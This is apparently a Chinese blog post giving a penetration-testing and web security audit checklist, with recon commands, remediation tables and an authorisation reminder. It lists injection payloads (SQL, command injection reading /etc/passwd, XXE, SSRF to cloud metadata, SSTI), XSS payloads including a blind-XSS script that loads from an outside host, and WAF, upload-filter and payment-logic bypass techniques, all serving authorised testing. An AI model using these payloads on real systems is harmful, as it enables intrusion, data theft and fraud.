Web 安全深入审计检查清单

一、审计准备与范围界定

适用于渗透测试、安全评估及合规审计(如等保、ISO 27001):

检查项 具体内容
授权确认 获取书面授权书(RoE),明确测试时间、IP/域名范围、测试深度
资产梳理 主站、子域、API 端点、CDN、WAF、第三方组件、云存储桶
基线建立 记录正常业务流量特征,避免测试影响生产环境
工具准备 Burp Suite / OWASP ZAP、Nmap、Nikto、SQLMap、XSStrike、Postman

二、信息收集与暴露面分析

2.1 被动信息收集(不触碰目标)

bash 复制代码
# 子域名枚举
subfinder -d example.com -all
amass enum -passive -d example.com

# 历史 URL / 参数收集
waybackurls example.com | unfurl -u keys

# GitHub 泄露扫描
githound --dig-files --dig-commits --repo-user example.com

# 云存储桶探测
# 检查 s3.amazonaws.com/example.com 等命名规律

检查要点:

  • 源码/配置文件/密钥是否在 GitHub/GitLab 泄露
  • 历史删除的敏感接口是否仍可通过 Wayback Machine 访问
  • 员工邮箱、内部系统域名是否在公开渠道暴露
  • WHOIS 信息是否泄露管理员联系方式

2.2 主动探测

bash 复制代码
# 端口与服务扫描
nmap -sS -sV -p- --script=http-title,http-enum,ssl-enum-ciphers example.com

# Web 目录爆破
dirsearch -u https://example.com -e php,asp,aspx,jsp,html,js,txt,bak

# 技术栈识别
whatweb https://example.com
wappalyzer 浏览器插件

检查要点:

  • 非必要端口开放(如 3306、6379、27017、8080、8443)
  • 备份文件泄露(.bak.zip.sql.tar.gz
  • 敏感目录未授权访问(/admin//api//.git//.env
  • 默认页面/安装向导未删除(phpinfo、Django 调试页、IIS 欢迎页)

三、传输层与配置安全

检查项 验证方法 风险等级
HTTPS 强制跳转 访问 http:// 观察是否 301/307 到 HTTPS
HSTS 头 curl -I https://example.com 检查 Strict-Transport-Security
TLS 版本与套件 nmap --script ssl-enum-ciphers -p 443 example.com
证书有效性 过期、自签名、通配符滥用、SAN 缺失
CSP 策略 检查 Content-Security-Policy 是否存在及配置合理性
X-Frame-Options 防止点击劫持:DENYSAMEORIGIN
X-Content-Type-Options nosniff 防止 MIME 嗅探
Referrer-Policy 控制 Referrer 泄露范围
Permissions-Policy 限制浏览器敏感 API(摄像头、地理位置)
CORS 配置 Access-Control-Allow-Origin: * 是否过度宽松
Cookie 安全属性 HttpOnlySecureSameSite 是否齐全

四、认证与会话管理(重点)

4.1 认证机制

  • 弱口令策略 :是否允许 123456password、与用户名相同
  • 暴力破解防护:登录失败是否有验证码、IP 封禁、速率限制
  • 多因素认证 (MFA):是否支持且可绕过(如响应包篡改、前端跳过)
  • 密码找回逻辑:是否可枚举用户、Token 可预测、链接未过期
  • OAuth / SSO 安全:回调地址是否校验、state 参数是否使用、scope 是否最小化
  • JWT 安全 :算法是否为 none、密钥是否弱、是否未验证签名

4.2 会话管理

  • Session ID 熵值:是否可预测(时间戳、自增 ID、MD5 简单哈希)
  • 会话固定攻击:登录后 Session ID 是否不变
  • 并发登录控制:同一账号多地登录是否有提示/互踢
  • 注销有效性:点击注销后,旧 Session 是否立即失效(服务端黑名单)
  • Cookie 作用域:Path 和 Domain 是否设置过宽

五、输入验证与注入漏洞(核心)

漏洞类型 测试 Payload 示例 验证工具
SQL 注入 id=1' AND 1=1-- / id=1 UNION SELECT null,null-- SQLMap, Burp Scanner
NoSQL 注入 username[$ne]=admin&password[$ne]=1 手工构造
命令注入 ; cat /etc/passwd / $(whoami) 手工 + Burp Repeater
LDAP 注入 *)(uid=*))(&(uid=* 手工
XPath 注入 `'] //password%00`
XML 外部实体 (XXE) <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> Burp, XXEinjector
反序列化漏洞 Java ysoserial / PHP phar / Python pickle Burp, 专用工具
SSRF url=http://169.254.169.254/latest/meta-data/ / url=file:///etc/passwd Burp Collaborator
模板注入 (SSTI) {``{7*7}} / ${7*7} / <%= 7*7 %> Tplmap

深度检查项:

  • 所有输入点是否均经过服务端校验(URL 参数、Header、Body、Cookie、文件名)
  • WAF 绕过:大小写混合、编码绕过、注释干扰、分块传输
  • 二次注入:数据存入数据库后,在其他功能点取出时未转义
  • 宽字节注入 :GBK 编码下 %df' 绕过转义
  • 堆叠查询 :数据库是否支持多语句执行(; DROP TABLE

六、业务逻辑漏洞(难以自动化发现)

场景 攻击手法 检查方法
水平越权 修改 ID 参数访问他人数据:/order?id=1001id=1002 遍历 ID
垂直越权 普通用户伪造 role=admin 或访问 /admin/api 修改 Cookie/Token/参数
支付逻辑 篡改金额、数量、折扣码、负数购买、并发请求重复支付 拦截支付请求重放
验证码绕过 前端校验、不刷新可复用、验证码未绑定会话 重放、删除参数
密码重置劫持 篡改响应包使 success:falsetrue 前端调试 + 拦截
注册覆盖 注册已存在账号时是否可覆盖密码 重复注册测试
批量操作 缺少防重放机制导致优惠券重复领取 Intruder 批量发包
条件竞争 并发提现/转账导致余额负数 Turbo Intruder 高并发测试

七、文件操作与上传安全

  • 上传功能:是否校验 MIME 类型、文件头、后缀白名单
  • 黑名单绕过php5phtmlhtaccess、双写后缀、%00 截断
  • 解析漏洞:Apache/Nginx/IIS 配置错误导致图片马解析为脚本
  • 路径遍历../../../etc/passwd 读取任意文件
  • 文件包含 (LFI/RFI)?page=../../../../etc/passwd、php://filter 伪协议
  • Zip Slip:上传恶意 ZIP 文件覆盖系统文件
  • SVG XSS :上传 SVG 文件内嵌 <script> 触发存储型 XSS

八、客户端安全(XSS / CSRF)

8.1 XSS 全类型检测

类型 检测场景 示例 Payload
反射型 XSS URL 参数直接回显 <script>alert(document.domain)</script>
存储型 XSS 留言板、昵称、头像、文件上传 <img src=x onerror=alert(1)>
DOM 型 XSS 前端 JS 处理 URL Hash/参数 #<img src=x onerror=alert(1)>
Blind XSS 管理员后台查看触发 <script src=https://xss.report/c/你的ID></script>

绕过技巧检查:

  • 过滤了 <script> → 用 <img onerror=<svg onload=<iframe srcdoc=
  • 过滤了 alert → 用 promptconfirmconsole.logdocument.location
  • 编码绕过:HTML 实体、Unicode、URL 编码、JS 八进制/十六进制
  • CSP 绕过:寻找白名单域内可上传/可控的 JS 文件

8.2 CSRF 防护

  • 敏感操作(转账、改密、删号)是否缺少 Token 验证
  • Token 是否可预测、是否未校验、是否仅校验存在性
  • SameSite Cookie 是否为 StrictLax
  • 双重 Cookie 提交防御是否实现

九、API 安全专项

  • 认证方式:API Key 是否硬编码在前端、Bearer Token 是否过期
  • 速率限制:高频请求是否触发 429,否则存在爆破/撞库风险
  • 批量赋值 (Mass Assignment) :提交额外字段如 is_admin: true
  • GraphQL 安全:内省查询暴露 Schema、深度递归查询导致 DoS
  • REST 越权/api/v1/users/123 横向遍历、DELETE / PUT 方法未授权
  • 响应包敏感信息:是否返回密码哈希、内网 IP、数据库连接串
  • API 版本控制 :旧版本 API(/v1/)未废弃且存在已知漏洞

十、报告输出与修复建议模板

严重(Critical)

漏洞 影响 修复建议
SQL 注入 数据库完全失控 参数化查询(Prepared Statements),ORM 框架
任意文件上传 RCE 服务器沦陷 白名单后缀、文件内容校验、上传目录无执行权限
垂直越权 非授权管理员操作 服务端基于 Session 的权限校验,禁止前端传角色

高危(High)

漏洞 影响 修复建议
存储型 XSS 窃取管理员 Cookie、钓鱼 输出编码(HTML Entity)、CSP、HttpOnly Cookie
SSRF 内网渗透、云元数据窃取 白名单 URL、禁用非必要协议、内网 IP 黑名单
敏感信息泄露 源码、密钥、数据库凭证 删除备份文件、.git 目录禁止访问、密钥分离存储

中危(Medium)

漏洞 修复建议
点击劫持 X-Frame-Options: DENY + CSP frame-ancestors
不安全的 CORS 严格校验 Origin,禁止 * 通配
弱口令/无 MFA 强制密码复杂度策略,启用多因素认证

十一、推荐自动化扫描组合

bash 复制代码
# 1. 资产发现
subfinder -d example.com | httpx -title -tech-detect -status-code

# 2. 漏洞初筛
nuclei -l urls.txt -t ~/nuclei-templates/

# 3. 深度 Crawl + XSS/SQLi
katana -u https://example.com -d 5 -o urls.txt
dalfox file urls.txt --mining-dict --deep-dom

# 4. API 安全
arjun -u https://api.example.com/endpoint   # 参数发现
postman / burp 手动测试业务逻辑

# 5. 综合报告
nmap --script vuln + nuclei + 手工验证 → 汇总至 Markdown/PDF

合规提示 :所有测试必须在授权范围内进行。建议遵循 OWASP Testing Guide v4.2PTES(渗透测试执行标准) 方法论,保留完整测试日志以备审计追溯。

相关推荐
江米小枣tonylua1 小时前
从红绿灯到方向盘:TDD 在 AI 时代的新角色
前端·设计模式·ai编程
祀爱1 小时前
Asp.net core+ Layui 项目中编辑按钮传递数据的方法
前端·c#·asp.net·layui
DanCheOo2 小时前
Prompt 工程化管理:从散落在代码里到版本化、可测试、可回滚
前端·ai编程
涛涛ing2 小时前
Vue 3.5 下一站:cached 提案,重新定义响应式缓存
前端
胖子不胖2 小时前
svg之viewBox
前端
吹牛不交税2 小时前
tree-transfer-vue3 前端插件安装问题解决(--legacy-peer-deps)(其他插件可考虑)适用
前端·javascript·vue.js
ricardo19732 小时前
Chrome DevTools + Lighthouse + Performance API:前端性能调优三件套实操指南
前端
Appoint_x2 小时前
设计稿自己会说话:我用 Claude 给 Figma 做了个 AI 上下文插件
前端·javascript